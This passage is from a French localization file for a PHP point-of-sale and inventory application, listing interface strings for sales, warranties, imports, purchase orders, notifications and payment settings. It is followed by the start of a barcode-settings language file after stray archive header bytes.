succès", 'business_location_deactivated_successfully' => "Emplacement de l'entreprise désactivé avec succès", 'show_credit_sale_button' => 'Afficher le bouton de vente à crédit', 'show_credit_sale_btn_help' => "Si le bouton de vente à crédit activé s'affiche à la place du bouton Carte sur l'écran de position", 'credit_sale' => 'Vente à crédit', 'tooltip_credit_sale' => 'Commander comme vente à crédit', 'add_as_sub_txonomy' => 'Ajouter en tant que sous-taxonomie', 'select_parent_taxonomy' => 'Sélectionnez la taxonomie parente', 'warranty' => 'Garantie', 'warranties' => 'Garanties', 'all_warranties' => 'Toutes les garanties', 'add_warranty' => 'Ajouter une garantie', 'duration' => 'Durée', 'edit_warranty' => 'Modifier la garantie', 'enable_product_warranty' => 'Activer la garantie', 'warranty_ends_on' => 'La garantie se termine le', 'restaurant_module_settings' => 'Paramètres du module de restaurant', 'warranty_module_settings' => 'Paramètres du module de garantie', 'show_warranty_name' => 'Afficher le nom de la garantie', 'show_warranty_exp_date' => "Afficher la date d'expiration de la garantie", 'show_warranty_description' => 'Afficher la description de la garantie', 'gender' => 'Genre', 'male' => 'Homme', 'female' => 'Femelle', 'others' => 'Autres', 'recent_transactions' => 'Transactions récentes', 'add_row' => 'Ajouter une rangée', 'add_widget_here' => 'Ajouter un widget ici', 'move_row' => 'Déplacer la ligne', 'configure_dashboard' => 'Configurer le tableau de bord :name', 'change_return_label' => "Modifier l'étiquette de retour", 'change_return_help' => 'Le changement de retour est le montant à restituer au client en cas de paiement excédentaire.', 'profile_photo' => 'Photo de profil', 'upload_image' => 'Télécharger une image', 'expense_tax' => 'Taxe sur les dépenses', 'expense_tax_tooltip' => "Taxe totale versée sur les dépenses d'entreprise pour la période sélectionnée", 'tax_overall' => 'Global (entrée - sortie - dépenses)', 'overdue' => 'En retard', 'partial-overdue' => 'Retard partiel', 'due_date_label' => "Étiquette de date d'échéance", 'show_due_date' => "Afficher la date d'échéance", 'contact_custom_field1' => 'Champ personnalisé 1', 'contact_custom_field2' => 'Champ personnalisé 2', 'contact_custom_field3' => 'Champ personnalisé 3', 'contact_custom_field4' => 'Champ personnalisé 4', 'added_by' => 'Ajouté par', 'authorized_signatory' => 'Signataire autorisé', 'no_location_access_found' => "Aucun accès à l'emplacement trouvé", 'location_custom_field1' => 'Champ personnalisé 1', 'location_custom_field2' => 'Champ personnalisé 2', 'location_custom_field3' => 'Champ personnalisé 3', 'location_custom_field4' => 'Champ personnalisé 4', 'user_custom_field1' => 'Champ personnalisé 1', 'user_custom_field2' => 'Champ personnalisé 2', 'user_custom_field3' => 'Champ personnalisé 3', 'user_custom_field4' => 'Champ personnalisé 4', 'logo_not_work_in_sms' => "Le logo d'entreprise ne fonctionnera pas dans SMS", 'notification_email_tooltip' => "Chaîne d'e-mails de destinataires séparés par des virgules", 'heading' => 'Titre', 'updated_at' => 'Mis à jour à', 'documents_and_notes' => 'Documents et notes', 'add_note' => 'Ajouter une note', 'edit_note' => 'Note éditée', 'is_private' => 'Est-ce privé?', 'private' => 'Privé', 'documents' => 'Documents', 'note_will_be_visible_to_u_only' => 'La note et le document ne seront visibles que par vous', 'activities' => 'Activités', 'no_limit' => 'Sans limites', 'contains_media' => 'Cette note contient des médias', 'private_note' => 'Ceci est une note privée', 'amount_rounding_method' => "Méthode d'arrondissement des montants", 'round_to_nearest_whole_number' => 'Arrondir au nombre entier le plus proche', 'round_to_nearest_decimal' => 'Arrondir à la décimale la plus proche (multiple de :multiple)', 'amount_rounding_method_help' => 'Exemple: <br> <b> Arrondir au nombre entier le plus proche: </b> 2,23 => 2, 2,50 => 3, 2,73 => 3 <br> <b> Arrondir à la décimale la plus proche (multiple de 0,05): </b> 2.11 => 2.10, 2.12 => 2.10, 2.13 => 2.15 ', 'round_off' => 'Compléter', 'round_off_label' => "Arrondir l'étiquette", 'total_sell_round_off' => 'Arrondi total des ventes', 'user_info' => "Informations de l'utilisateur", 'enable_weighing_scale' => 'Activer la balance', 'weighing_scale_setting' => 'Réglage du code-barres de la balance', 'weighing_scale_setting_help' => 'Configurer le code-barres selon votre balance.', 'weighing_barcode_prefix' => 'Préfixe', 'weighing_product_sku_length' => 'Longueur du produit', 'weighing_qty_integer_part_length' => 'Longueur de partie entière de quantité', 'weighing_qty_fractional_part_length' => 'Longueur partielle de la quantité', 'weighing_scale' => 'Balance', 'weighing_scale_barcode' => 'Code à barres de la balance', 'weighing_scale_barcode_help' => 'Scannez le code-barres de la pesée de la vente et soumettez-le', 'prefix_did_not_match' => 'Le préfixe ne correspond pas', 'sku_not_match' => 'Aucun produit trouvé avec sku :sku', 'total_quantity_label' => 'Etiquette de quantité totale', 'account_summary' => 'Relevé de compte', 'ledger_table_heading' => 'Affichage de toutes les factures et de tous les paiements entre :start_date et :end_date', 'beginning_balance' => 'Solde de départ', 'total_invoice' => 'Facture totale', 'balance_due' => 'Solde dû', 'send_ledger' => 'Envoyer Ledger', 'notifications' => 'Notifications', 'ledger_attacment_help' => 'Le grand livre sera joint au format PDF avec cet e-mail', 'upload_module' => 'Télécharger le module', 'upload' => 'Télécharger', 'pls_upload_valid_zip_file' => 'Veuillez télécharger un fichier zip valide.', 'import_sales' => "Ventes à l'importation", 'preview_imported_sales' => 'Aperçu des ventes importées', 'customer_phone_number' => 'Numéro de téléphone client', 'customer_email' => 'Email client', 'item_tax' => 'Taxe sur les articles', 'item_discount' => 'Remise sur article', 'item_description' => "Description de l'article", 'order_total' => 'Total de la commande', 'upload_and_review' => 'Importer et réviser', 'group_sale_line_by' => 'Ligne de vente groupée', 'import_sale_product_not_found' => 'Produit avec nom :product_name ou sku :sku introuvable dans la ligne :row', 'import_sale_tax_not_found' => 'Taxe avec nom :tax_name introuvable dans la ligne :row', 'email_or_phone_required' => "Le téléphone ou l'e-mail du client est requis", 'product_name_or_sku_is_required' => 'Le nom du produit ou le SKU est requis', 'quantity_is_required' => 'La quantité est requise', 'unit_price_is_required' => 'Un prix unitaire est requis', 'sales_imported_successfully' => 'Ventes importées avec succès', 'upload_data_in_excel_format' => 'Télécharger les données de vente au format Excel', 'map_columns_with_respective_sales_fields' => 'Choisissez les champs de vente respectifs pour chaque colonne', 'choose_location_and_group_by' => "Choisissez l'emplacement commercial et la colonne selon laquelle les lignes de vente seront regroupées", 'date_format_instruction' => "Le format d'heure de la date de vente doit être Y-m-d H:i:s (2020-07-15 17:45:32)", 'product_name_single_only' => 'Nom du produit (produits simples ou combinés uniquement)', 'product_sku' => 'Référence produit', 'product_unit' => 'Unité de produit', 'import_sale_unit_not_found' => 'Unité portant le nom :unit_name introuvable dans la ligne :row', 'types_of_servicet_not_found' => 'Types de service avec nom :types_of_service_name introuvable dans la ligne :row', 'email_or_phone_cannot_be_empty_in_row' => "Le téléphone ou l'e-mail du client est requis dans la ligne :row", 'product_cannot_be_empty_in_row' => 'Le nom du produit ou la référence produit est requis dans la ligne :row', 'quantity_cannot_be_empty_in_row' => 'La quantité de produit est requise en ligne :row', 'unit_price_cannot_be_empty_in_row' => 'Le prix unitaire est requis en ligne :row', 'imports' => 'Importations', 'invoices' => 'Factures', 'import_batch' => 'Importer lot', 'import_time' => 'Importer le temps', 'cannot_select_a_field_twice' => 'Vous ne pouvez pas sélectionner un champ deux fois', 'revert_import' => "Annuler l'importation", 'import_reverted_successfully' => "L'importation est revenue avec succès", 'importable_fields' => 'Champs importables', 'sort_order' => 'Ordre de tri', 'total_returned' => 'Total retourné', 'skip' => 'SAUTER', 'group_by_tooltip' => 'Colonne pour regrouper les lignes de vente dans la même facture', 'allowed_file' => 'Fichier autorisé', 'detailed_with_purchase' => "Détaillé (à l'achat)", 'supplier_name' => 'Nom du fournisseur', 'purchase_ref_no' => 'Achat réf.', 'save_and_print' => 'Enregistrer et imprimer', 'update_and_print' => 'Mettre à jour et imprimer', 'all_your_discounts' => 'Toutes vos remises', 'priority' => 'Priorité', 'starts_at' => 'Commence à', 'ends_at' => 'Fini à', 'used_for_browser_based_printing' => "Utilisé pour l'impression par navigateur", 'hsn_or_category_code' => 'HSN ou code de catégorie', 'discounts' => 'Réductions', 'allow_overselling' => 'Autoriser la survente', 'view_own_purchase' => 'Afficher son propre achat uniquement', 'view_own_expense' => 'Voir uniquement vos propres dépenses', 'allow_login' => 'Autoriser la connexion', 'login_not_allowed' => 'Connexion non autorisée', 'labels_for_contact_custom_fields' => 'Étiquettes pour les champs personnalisés de contact', 'labels_for_product_custom_fields' => 'Étiquettes pour les champs personnalisés du produit', 'labels_for_purchase_custom_fields' => "Étiquette pour l'achat de champs personnalisés", 'labels_for_sell_custom_fields' => 'Étiquettes pour vendre des champs personnalisés', 'labels_for_location_custom_fields' => 'Étiquettes pour les champs personnalisés de localisation', 'labels_for_types_of_service_custom_fields' => 'Étiquettes pour les types de champs personnalisés de service', 'labels_for_user_custom_fields' => 'Étiquettes pour les champs personnalisés des utilisateurs', 'total_transfer_shipping_charge' => "Total des frais d'expédition par transfert", 'total_purchase_shipping_charge' => "Total des frais d'expédition d'achat", 'total_sell_shipping_charge' => "Total des frais d'expédition de vente", 'opening_stock_location' => 'Ouverture du stock', 'product_locations_ins' => "Chaîne de noms d'emplacements commerciaux séparés par des virgules où le produit sera disponible", 'product_locations' => 'Emplacements des produits', 'view_products' => 'Voir les produits', 'pos_screen_featured_products' => "Produits vedettes de l'écran du PDV", 'featured_products_help' => "Les produits sélectionnés seront affichés en haut de la suggestion de produit d'écran de position pour un accès rapide", 'purchase_report' => "Rapport d'achat", 'sale_report' => 'Rapport de vente', 'payment_date' => 'Date de paiement', 'year_month' => 'Année mois', 'lead' => 'Conduire', 'featured_products' => 'Produits populaires', 'repeat_on' => 'Répéter', 'access_tables' => "Tables d'accès", 'access_printers' => 'Accéder aux imprimantes', 'access_types_of_service' => "Types d'accès aux services", 'search_address' => 'Adresse de recherche', 'contact_locations' => 'Lieux de contact', 'map' => 'Carte', 'both_customer_and_supplier' => 'Client et fournisseur', 'service' => 'Un service', 'either_cust_email_or_phone_required' => 'Soit l’identifiant e-mail du client ou le numéro de téléphone requis', 'either_product_name_or_sku_required' => 'Soit le nom du produit (pour single et combo uniquement) ou le sku du produit requis', 'show_invoice_scheme' => 'Afficher le schéma de facturation', 'select_invoice_scheme' => 'Sélectionnez le schéma de facturation', 'recurring_expense_help' => 'Si coché, cette dépense sera automatiquement générée à intervalles réguliers.', 'recur_interval' => 'Intervalle récurrent', 'recur_expense_repetition_help' => 'Si une dépense vierge sera générée des fois infinies', 'recurring_expense_message' => 'Nouvelle dépense récurrente générée. N ° de référence: <i>:ref_no</i>', 'recurring_expense' => 'Dépenses récurrentes', 'generated_recurring_expense' => 'Dépenses récurrentes générées', 'select_contacts' => 'Sélectionner des contacts', 'middle_name' => 'Deuxième nom', 'address_line_1' => 'Adresse 1', 'address_line_2' => 'Adresse Ligne 2', 'dob' => 'Date de naissance', 'dob_ins' => 'Format Y-m-d', 'by_purchase_price' => "Par prix d'achat", 'by_sale_price' => 'Par prix de vente', 'potential_profit' => 'Bénéfice potentiel', 'apply_all' => 'Appliquer tout', 'hide_all_prices' => 'Masquer tous les prix', 'select_invoice_layout' => 'Sélectionner la disposition des factures', 'max_sales_discount_percent' => 'Pourcentage de remise sur les ventes max', 'max_sales_discount_percent_help' => "Pourcentage de remise maximum qu'un utilisateur peut donner pendant la vente. Laissez-le vide pour aucune contrainte", 'max_discount_error_msg' => 'Vous pouvez donner max: discount% remise par vente', 'show_invoice_layout' => 'Afficher la liste déroulante de la disposition des factures', 'recurred_from' => 'Récurrent de', 'recur_details' => 'Détails récurrents', 'recurring' => 'Récurrent', 'view_product_stock_value' => 'Voir la valeur des stocks de produits', 'added' => 'Ajouté', 'disable_credit_sale_button' => 'Désactiver le bouton de vente à crédit', 'pay' => 'Payer', 'use_advance_balance' => 'Utiliser le solde anticipé', 'advance' => 'Avance', 'advance_balance' => 'Solde anticipé', 'advance_payment' => 'Paiement anticipé', 'required_advance_balance_not_available' => 'Solde anticipé requis non disponible', 'in_transit' => 'En transit', 'edit_stock_transfer' => 'Modifier Transfert de stock', 'completed_status_help' => "Le transfert de stock ne sera pas modifiable si l'état est terminé", 'no_data' => 'Aucune donnée', 'sms_service' => 'Service SMS', 'nexmo_key' => 'Nexmo Key', 'nexmo_secret' => 'Nexmo Secret', 'twilio_token' => 'Twilio Access Token', 'twilio_sid' => 'Twilio Account SID', 'upcoming' => 'À venir', 'final' => 'Final', 'expense_for_contact' => 'Frais de contact', 'create' => 'Créer', 'waiting' => 'Attendre', 'sms_settings_header_key' => 'En-tête: touche numérique', 'sms_settings_header_val' => 'En-tête: valeur numérique', 'stock_adjustment_details' => "Détails de l'ajustement des stocks", 'stock_transfer_details' => 'Détails du transfert de stock', 'invoice_layout_for_pos' => 'Présentation de la facture pour le point de vente', 'invoice_layout_for_sale' => 'Mise en page de facture à vendre', 'invoice_layout_for_sale_tooltip' => 'Présentation des factures pour les ventes directes', 'new_quotation' => 'Nouveau devis', 'new_quotation_notification' => 'Nouvelle notification de devis', 'view_quote_url' => "Afficher l'URL du devis", 'close_cash_register' => 'Fermer la caisse enregistreuse', 'view_cash_register' => 'Voir la caisse enregistreuse', 'for_tax_group_only' => 'Pour le groupe fiscal uniquement', 'for_tax_group_only_help' => 'Si coché, cette taxe ne sera pas affichée individuellement dans les listes déroulantes, seulement peut être ajoutée dans le groupe de taxes', 'exempt' => 'Exempter', 'tax_exempt_help' => 'Un taux de taxe nul sera considéré comme exonéré de taxe', 'show_total_in_words' => 'Afficher le total en mots', 'show_in_word_help' => "L'extension php-intl doit être activée", 'print_on_suspend' => 'Imprimer la facture en cas de suspension', 'view_all_customer' => 'Afficher tous les clients', 'view_own_customer' => 'Afficher son propre client', 'view_all_supplier' => 'Voir tous les fournisseurs', 'view_own_supplier' => 'Voir son propre fournisseur', 'label_help' => 'Imprimer code-barres / étiquette', 'connection_type_windows' => 'Type de connexion Windows', 'connection_type_linux' => 'Type de connexion Linux', 'windows_type_help' => "Les fichiers de l'appareil seront du type", 'linux_type_help' => 'Le fichier de votre imprimante sera quelque part comme', 'due_date' => "Date d'échéance", 'quotation_no' => 'Numéro de devis', 'browser_based_printing' => 'Impression basée sur le navigateur', 'configured_printer' => 'Utiliser une imprimante de reçus configurée', 'for_normal_printer' => 'Pour une imprimante normale', 'recomended_for_80mm' => 'Recommandé pour les imprimantes de tickets de ligne thermique, format papier 80 mm', 'recomended_for_58mm' => 'Recommandé pour les imprimantes de tickets de ligne thermique, format papier 80 mm et 58 mm', 'classic' => 'Classique', 'elegant' => 'Élégant', 'slim' => 'Svelte', 'detailed' => 'Détaillé', 'columnize_taxes' => 'Colonne les taxes', 'types_of_service_help_long' => "Le type de service signifie des services tels que le dîner, le colis, la livraison à domicile, la livraison par un tiers, etc. Il peut être activé / désactivé à partir de <code> Paramètres> Modules </code> et peut être créé à partir de <code> Paramètres> Types de service </code>. Vous pouvez également définir différents groupes de prix et frais d'emballage pour les types de service.", 'access_sell_return' => 'Accéder au retour de vente', 'system_notification' => 'Notification système', 'time_range' => 'Intervalle de temps', 'enable_php_intl_extension' => "Activer l'extension php-intl dans les paramètres PHP INI", 'profit_note' => "<b> Remarque: </b> Les bénéfices par produits / catégories / marques ne tiennent compte que de la remise en ligne. La remise sur facture n'est pas prise en compte.", 'upcoming_bookings' => 'Réservations à venir', 'is_refund' => 'Est remboursé', 'is_refund_help' => 'Si vérifié, les dépenses seront remboursées et seront ajoutées au bénéfice net', 'refund' => 'Rembourser', 'activate' => 'Activer', 'deactivate' => 'Désactiver', 'add_quotation' => 'Ajouter un devis', 'product_stock_history' => 'Historique du stock produit', 'quantities_in' => 'Quantités en', 'quantities_out' => 'Quantités sortantes', 'in' => 'Dans', 'out' => 'En dehors', 'totals' => 'Totaux', 'quantity_change' => 'Changement de quantité', 'new_quantity' => 'Nouvelle quantité', 'no_stock_history_found' => 'Aucun historique de stock trouvé', 'add_draft' => 'Ajouter un brouillon', 'labels_for_sale_shipping_custom_fields' => 'Libellés à vendre expédiant des champs personnalisés', 'is_required' => 'Est requis', 'convert_to_invoice' => 'Convertir en facture', 'converted_to_invoice_successfully' => 'Conversion en facture :invoice_no avec succès', 'proforma' => 'Proforma', 'proforma_invoice' => 'Facture proforma', 'convert_to_proforma' => 'Convertir en facture pro forma', 'converted_to_proforma_successfully' => 'Converti en facture pro forma', 'billing_address' => 'Adresse de facturation', 'delete_sell' => 'Supprimer la vente', 'product_brochure' => 'Brochure de produit', 'whatsapp_text' => 'Texte Whatsapp', 'auto_send_wa_notif' => 'Envoi automatique de la notification Whatsapp', 'send_whatsapp' => 'Envoyer une notification Whatsapp', 'send_sms' => 'Envoyer un SMS', 'send_email' => 'Envoyer un e-mail', 'shipping_documents' => "Documents d'expédition", 'no_attachment_found' => 'Aucune pièce jointe trouvée', 'attachments' => 'Pièces jointes', 'print_invoice' => "La facture d'impression", 'word_format' => 'Format Word', 'international' => 'International', 'indian' => 'Indien', 'word_format_help' => 'Dans le format international, les grands nombres sont représentés en millions, milliards et trillions alors que, comme dans le format indien, ils sont représentés en lakhs et en crores', 'shipping_edited' => 'Expédition modifiée', 'payment_edited' => 'Paiement modifié', 'notification_sent' => 'Notification envoyée', 'imported' => 'Importé', 'logout' => 'Se déconnecter', 'backup_clean_command_instruction' => "Pour nettoyer l'ancienne sauvegarde, vous devez configurer une tâche cron avec cette commande:", 'converted' => 'Converti', 'view_commission_agent_sell' => "L'agent de commission peut visualiser sa propre vente", 'access_commission_agent_shipping' => "L'agent de la Commission peut accéder à ses propres envois", 'access_own_shipping' => 'Accéder à vos propres envois', 'email_notification_sent' => 'Notification par e-mail envoyée', 'sms_notification_sent' => 'Notification SMS envoyée', 'packing_date' => "Date d'emballage", 'print_exp_date' => "Imprimer la date d'expiration", 'print_packing_date' => "Imprimer la date d'emballage", 'print_lot_number' => 'Imprimer le numéro de lot', 'family_contact_number' => 'Numéro de contact familial', 'custom_payment' => 'Paiement personnalisé :number', 'default_credit_limit' => 'Limite de crédit par défaut', 'price_calculation_type' => 'Type de calcul de prix', 'show_pricing_on_product_sugesstion' => "Afficher les prix sur l'info-bulle de suggestion de produit", 'all_purchase_orders' => 'Tous les bons de commande', 'add_purchase_order' => 'Ajouter un bon de commande', 'edit_purchase_order' => 'Modifier la commande', 'purchase_order_details' => 'Détails du bon de commande', 'enable_purchase_order' => 'Activer le bon de commande', 'purchase_order_help_text' => "Un bon de commande est un document commercial et une première offre officielle émise par un acheteur à un vendeur indiquant les types, les quantités et les prix convenus pour les produits ou services. Il est utilisé pour contrôler l'achat de produits et de services auprès de fournisseurs externes. Les commandes d'achat peuvent être un élément essentiel des commandes du système de planification des ressources d'entreprise. ", 'view_all_purchase_order' => 'Afficher tous les bons de commande', 'view_own_purchase_order' => 'Afficher sa propre commande', 'create_purchase_order' => 'Créer un bon de commande', 'delete_purchase_order' => 'Supprimer le bon de commande', 'purchase_order_delete_success' => 'Bon de commande supprimé avec succès', 'order_quantity' => 'Quantité commandée', 'order_date' => 'Date de commande', 'max_quantity_quantity_allowed' => 'Max :quantity autorisée', 'leave_empty_to_autogenerate' => 'Laisser vide pour générer automatiquement', 'add_edit_invoice_number' => 'Ajouter modifier le numéro de facture', 'keep_blank_to_autogenerate' => 'Gardez le blanc pour générer automatiquement', 'download_pdf' => 'Télécharger le PDF', 'attach_pdf_in_email' => "Joindre le pdf de la facture dans l'e-mail", 'send_sms_whatsapp_notification' => 'Envoyer une notification SMS / WhatsApp', 'enable_sales_order' => 'Activer la commande client', 'sales_order' => 'Commande client', 'sales_order_help_text' => 'La commande client, parfois abrégée SO, est une commande émise par une entreprise ou un commerçant individuel à un client. Une commande client peut concerner des produits et / ou des services.', 'add_sales_order' => 'Ajouter une commande client', 'edit_sales_order' => 'Modifier la commande client', 'shipping_note' => "Note d'expédition", 'code_1_name' => 'Nom du code 1', 'code_2_name' => 'Nom du code 2', 'code_1' => 'Code 1', 'code_2' => 'Code 2', 'download_paking_pdf' => "Télécharger le pdf d'emballage", 'subject_type' => 'Type de sujet', 'activity_log' => "Journal d'activité", 'sell_deleted' => 'Vendre supprimé', 'so_deleted' => 'Commande client supprimée', 'po_deleted' => 'Bon de commande supprimé', 'purchase_deleted' => 'Achat supprimé', 'contact_deleted' => 'Contact supprimé', 'payment_deleted' => 'Paiement supprimé', 'quantity_remaining' => 'Quantité restante', 'view_sale' => 'Afficher la vente', 'update_sale' => 'Mettre à jour la vente', 'add_sell' => 'Ajouter une vente', 'account_details' => 'Détails du compte', 'label' => 'Étiqueter', 'prefer_payment_method' => 'Préférez le mode de paiement', 'prefer_payment_account' => 'Préférez le compte de paiement', 'this_will_be_shown_in_pdf' => 'Méthode / compte préféré où le client peut payer la facture. (Utile pour les factures à crédit)', 'view_own_so' => 'Afficher sa propre commande client', 'view_all_so' => 'Afficher toutes les commandes client', 'create_so' => 'Créer une commande client', 'edit_so' => 'Modifier la commande client', 'delete_so' => 'Supprimer la commande client', 'types_of_service_custom_field_help' => "Six champs personnalisés seront disponibles lors de l'ajout de vente", 'delete_expense' => 'Supprimer les dépenses', 'access_all_expense' => 'Accéder à toutes les dépenses', 'designation' => 'La désignation', 'department' => 'Département', 'is_default_for_contact' => 'Est la valeur par défaut pour le contact', 'individual' => 'Individuel', 'is_export' => "Est-ce que l'exportation?", 'export' => 'Exportation', 'export_custom_field1' => 'Exporter le champ personnalisé 1', 'export_custom_field2' => 'Exporter le champ personnalisé 2', 'export_custom_field3' => 'Exporter le champ personnalisé 3', 'export_custom_field4' => 'Exporter le champ personnalisé 4', 'export_custom_field5' => 'Exporter le champ personnalisé 5', 'export_custom_field6' => 'Exporter le champ personnalisé 6', 'enable_export' => "Activer l'exportation", 'edit_status' => "Modifier l'état", 'status_updated' => 'Statut mis à jour', 'item_discount_label' => "Étiquette de remise d'article", 'sales_orders' => 'Commandes', 'cash_denominations' => 'Coupures en espèces', 'cash_denominations_help' => 'Exemple de valeurs séparées par des virgules: 100,200,500,2000', 'denomination' => 'Dénomination', 'count' => 'Compter', 'denomination_add_help_text' => 'Ajouter des dénominations dans Paramètres -> Paramètres commerciaux -> PDV -> Coupures de caisse', 'order_dates' => 'Dates de commande', 'by_category' => 'Par catégorie', 'by_brand' => 'Par marque', 'no_brand' => 'Sans marque', 'woocommerce_sync' => 'Synchronisation WooCommerce', 'enable' => 'Activer', 'disable' => 'Désactiver', 'cmmsn_calculation_type' => 'Type de calcul de commission', 'invoice_value' => 'Montant de la facture', 'total_payment_with_commsn' => 'Paiement total avec commission', 'payments_with_cmmsn' => 'Paiements avec commission', 'view_all_drafts' => 'Voir tous les brouillons', 'view_own_drafts' => 'Afficher ses propres brouillons', 'edit_draft' => 'Modifier le brouillon', 'delete_draft' => 'Supprimer le brouillon', 'view_all_quotations' => 'Voir tous les devis', 'view_own_quotations' => 'Afficher ses propres devis', 'edit_quotation' => 'Modifier le devis', 'delete_quotation' => 'Supprimer le devis', 'primary_work_location' => 'Lieu de travail principal', 'labels_for_purchase_shipping_custom_fields' => "Etiquettes pour les champs personnalisés d'expédition d'achat", 'view_own_purchase_n_stock_adjustment' => 'Afficher son propre achat et ajustement des stocks', 'view_all_purchase_n_stock_adjustment' => 'Voir tous les achats et ajustements de stock', 'access_all_shipments' => 'Accéder à tous les envois', 'view_all_sale' => 'Voir toutes les ventes', 'total_quantity' => 'Quantité totale', 'pending_shipments' => 'Envois en attente', 'view_paid_sells_only' => 'Afficher uniquement les ventes payées', 'view_due_sells_only' => 'Afficher les ventes dues uniquement', 'view_partially_paid_sells_only' => 'Afficher uniquement les ventes partiellement payées', 'view_overdue_sells_only' => 'Afficher uniquement les ventes en retard', 'customer_with_no_sell_one_month' => 'Afficher les clients sans vente depuis un mois seulement', 'customer_with_no_sell_three_month' => 'Afficher les clients sans vente depuis trois mois seulement', 'customer_with_no_sell_six_month' => 'Afficher les clients sans vente depuis six mois seulement', 'customer_with_no_sell_one_year' => 'Afficher les clients sans vente depuis un an seulement', 'customer_permissions_tooltip' => "Pour afficher tous les clients sans vente à partir d'un moment précis, l'autorisation <b>Afficher tous les clients</b> est requise, sinon il filtrera avec uniquement les clients créés par l'utilisateur connecté", 'sell_permissions_tooltip' => "Pour afficher les ventes sur la base du statut de paiement <b> Afficher toutes les ventes</b>, l'autorisation est requise, sinon il filtrera avec uniquement les ventes créées par l'utilisateur connecté", 'access_pending_shipments_only' => 'Accéder aux envois en attente uniquement', 'access_all_sell_return' => 'Accéder à tous les retours de vente', 'access_own_sell_return' => 'Accéder au retour de vente propre', 'proforma_heading' => 'Entête de facture proforma', 'tooltip_proforma_heading' => "L'en-tête de facture pro forma est utilisé lors de la fourniture de pro forma aux clients.", 'line_taxes' => 'Taxes de ligne', 'add_additional_expenses' => 'Ajouter des dépenses supplémentaires', 'additional_expense_name' => 'Nom de la dépense supplémentaire', 'purchase_additional_expense' => 'Acheter des dépenses supplémentaires', 'qr_code' => 'QR Code', 'show_qr_code' => 'Afficher le code QR', 'fields_to_be_shown' => 'Champs à montrer', 'business_location_address' => "Adresse de l'établissement", 'business_tax_1' => 'Taxe professionnelle 1', 'business_tax_2' => 'Taxe professionnelle 2', 'invoice_datetime' => 'Facture Datetime', 'total_amount_with_tax' => 'Montant total TTC', 'total_bank_transfer' => 'Virement bancaire Total', 'total_advance_payment' => 'Acompte total', 'commission_agent_label' => 'Label de commissionnaire', 'show_commission_agent' => 'Afficher le commissionnaire', 'cannot_change_role' => 'Impossible de changer de rôle', 'cr' => 'CR', 'dr' => 'DR', 'payment_link' => 'Lien de paiement', 'enable_payment_link' => 'Activer le lien de paiement', 'payment_link_help_text' => 'En permettant aux utilisateurs de payer la facture en utilisant le lien de paiement', 'invoice_payment' => 'Paiement de facture', 'payment_for_invoice_no' => 'Paiement pour numéro de facture', 'pending_shipments' => 'Envois en attente', 'sources' => 'Sources', 'stripe_secret_key' => 'Clé secrète Stripe', 'stripe_public_key' => 'Clé publique Stripe', 'edit_opening_balance' => "Modifier le solde d'ouverture", 'edit_fund_transfer' => 'Modifier le transfert de fonds', 'edit_deposit' => 'Modifier le dépôt', 'deposit_to' => 'Dépôt à', 'transfer_from' => 'Transfert à partir de', 'edit_account_transaction' => 'Modifier la transaction du compte', 'delete_account_transaction' => "Supprimer l'opération du compte", 'add_purchase_payment' => "Ajouter un paiement d'achat", 'edit_purchase_payment' => "Modifier le paiement de l'achat", 'delete_purchase_payment' => "Supprimer le paiement d'achat", 'add_sell_payment' => 'Ajouter un paiement de vente', 'edit_sell_payment' => 'Modifier le paiement de la vente', 'delete_sell_payment' => 'Supprimer le paiement de la vente', 'sales_order_heading' => 'En-tête de commande client', 'account_balance' => 'Solde du compte', 'total_balance' => 'Solde total', 'account_balance_tooltip' => 'Solde total du compte particulier', 'total_balance_tooltip' => 'Solde total de tous les comptes', 'sell_additional_expense' => 'Vendre des dépenses supplémentaires', 'view_export_buttons' => "Afficher l'export vers les boutons (csv/excel/print/pdf) sur les tableaux", 'overall' => 'Globalement', 'show_labels' => 'Afficher les étiquettes', 'zatca_qr' => 'Code QR ZATCA (Fatoora)', 'zatca_qr_help' => "Pour le pays d'Arabie Saoudite", 'customer_irrespective_of_sell' => 'Afficher les clients indépendamment de leur vente', 'img_url_help_text' => "Ou URL de l'image", 'delivery_person' => 'Livreur', 'enable_service_staff_pin' => 'Activer le code PIN du personnel de service', 'staff_pin' => 'Code PIN du personnel', 'tooltip_is_enable_service_staff_pin' => 'Si activé, lors des ventes/points de vente, lorsque cet utilisateur est sélectionné en tant que personnel de service, un code PIN doit être saisi. Un code PIN incorrect ne permettra pas de sélectionner cet utilisateur en tant que personnel de service.', 'kitchen_order' => 'Commande de cuisine', 'kitchen_order_tooltip' => 'La commande sera envoyée à la cuisine uniquement si cette option est cochée', 'disable_quotation' => 'Désactiver le devis', 'disable_card' => 'Désactiver la carte', 'assigned_to' => 'Assigné à', 'has_no_sell_from' => "N'a pas de vente depuis", 'delivery_note' => 'Bon de livraison', 'above_mentioned_items_received_in_good_condition' => 'Les articles mentionnés ci-dessus ont été reçus en bon état', 'received_by' => 'Reçu par', 'enter_details_below_to_check_repair_status' => "Entrez les détails ci-dessous pour vérifier l'état de la réparation", 'search_by' => 'Rechercher par' ]; PK G �ZR���2 2 fr/barcode.phpnu �[��� <?php return [ 'barcodes' => 'Codes à barres', 'barcode_settings' => 'Paramètres du code-barres', 'manage_your_barcodes' => 'Gérer les paramètres de votre code-barres', 'all_your_barcode' => 'Tous vos paramètres de code-barres', 'setting_name' => "Nom de paramètre de feuille d'autocollants", 'setting_description' => "Paramètre de la feuille d'autocollants Description", 'added_success' => 'Le réglage du code à barres a été ajouté avec succès', 'updated_success' => 'Le réglage du code à barres a été mis à jour avec succès', 'deleted_success' => 'Le réglage du code-barres a été supprimé avec succès', 'add_new_setting' => 'Ajouter un nouveau paramètre', 'add_barcode_setting' => "Ajouter un paramètre d'autocollant de code-barres", 'edit_barcode_setting' => "Modifier le paramètre d'autocollant de code-barres", 'in_in' => 'En pouces', 'width' => "Largeur de l'autocollant", 'height' => "Hauteur de l'autocollant", 'top_margin' => 'Marge supérieure supplémentaire', 'left_margin' => 'Marge gauche supplémentaire', 'row_distance' => 'Distance entre deux rangées', 'col_distance' => 'Distance entre deux colonnes', 'blank_stickers' => 'Autocollants vierges', 'stickers_in_one_row' => 'Autocollants dans une rangée', 'delete_confirm' => "Ce paramètre sera effacé \ n Êtes-vous sûr?", 'set_as_default' => 'Définir par défaut', 'default' => 'Défaut', 'default_set_success' => 'Par défaut réglé avec succès', 'stickers_in_one_sheet' => "Nombre d'autocollants par feuille", 'is_continuous' => 'Alimentation continue ou rouleaux', 'products' => 'Produits', 'no_of_labels' => "Nombre d'étiquettes", 'info_in_labels' => 'Informations à afficher dans les étiquettes', 'print_name' => 'Nom du produit', 